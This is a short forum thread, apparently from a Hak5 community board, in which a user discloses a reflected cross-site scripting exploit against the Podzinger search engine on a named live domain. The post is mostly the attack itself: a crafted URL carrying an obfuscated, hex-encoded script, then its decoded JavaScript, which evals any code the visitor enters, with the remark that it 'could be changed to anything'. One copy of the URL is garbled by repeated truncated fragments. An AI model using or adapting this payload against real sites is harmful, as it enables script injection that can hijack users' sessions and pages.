Podzinger XSS Exploit.

[Mick]

I've found an XSS vuneribility in the podzinger search engine.

It also works on the hak5 search page and any other podzinger search.

(All it does is pop up and prompt you for some javascript code, then

executes it, but it could be changed to anything)

http://hak5.podzinger.com/results.jsp?col=en-all-pod-ep&s=PZSID_

videopods_videopod0_3_7_0003&s=PZSID_pods_pod3_3_1_0007

&sname=Hak.5&q=Dummy+String://http://hak5.podzinger.com/results.j...;q=Dummy+String://http://hak5.podzinger.com/results.j...;q=Dummy+String://http://hak5.podzinger.com/results.j...;q=Dummy+String://http://hak5.podzinger.com/results.j...;q=Dummy+String://http://hak5.podzinger.com/results.j...;q=Dummy+String://http://hak5.podzinger.com/results.j...;q=Dummy+String://http://hak5.podzinger.com/results.j...;q=Dummy+String

The actual URL is

http://hak5.podzinger.com/results.jsp?col=en-all-pod-ep&s=PZSID_vi

deopods_videopod0_3_7_0003&s=PZSID_pods_pod3_3_1_0007&sname=Hak

.5&q=Dummy+String++++++++++++++++++++++++++++++++++++++

++++++++++++++++++++++++++++%3Cscript%3Evar+codehex%3D%22

+76+61+72+20+64+73+3D+64+6F+63+75+6D+65+6E+74+2E+67+65+74+

45+6C+65+6D+65+6E+74+42+79+49+64+28+22+74+6F+70+51+75+65+

72+79+22+29+3B+64+73+2E+76+61+6C+75+65+3D+22+44+75+6D+6D+

79+20+53+74+72+69+6E+67+22+3B+64+6F+63+75+6D+65+6E+74+2E+

74+69+74+6C+65+3D+22+50+4F+44+5A+49+4E+47+45+52+3A+20+44+

75+6D+6D+79+20+53+74+72+69+6E+67+22+3B%22%2B%22+65+76+61

+6C+28+70+72+6F+6D+70+74+28+22+43+6F+64+65+20+54+6F+20+45

+78+65+63+75+74+65+22+2C+22+61+6C+65+72+74+28+27+48+65+6C

+6C+6F+2C+20+57+6F+72+6C+64+21+27+29+3B+22+29+29+3B%22%3B

if+%28xssae+%21%3D+%22dun%22%29%7Beval%28unescape%28codehe

x.split%28%22+%22%29.join%28%22%25%22%29%29%29%3Bvar+xssae

%3D%22dun%22%3B%7D%3C%2Fscript%3E

And it decodes and executes this code:

var ds=document.getElementById("topQuery");

ds.value="Dummy String";

document.title="PODZINGER: Dummy String";

eval(prompt("Code To Execute","alert('Hello, World!');"));

[Garda]

nice work, haven't tried it yet though

[anyedie]

Wow, very nice. someone have a fix?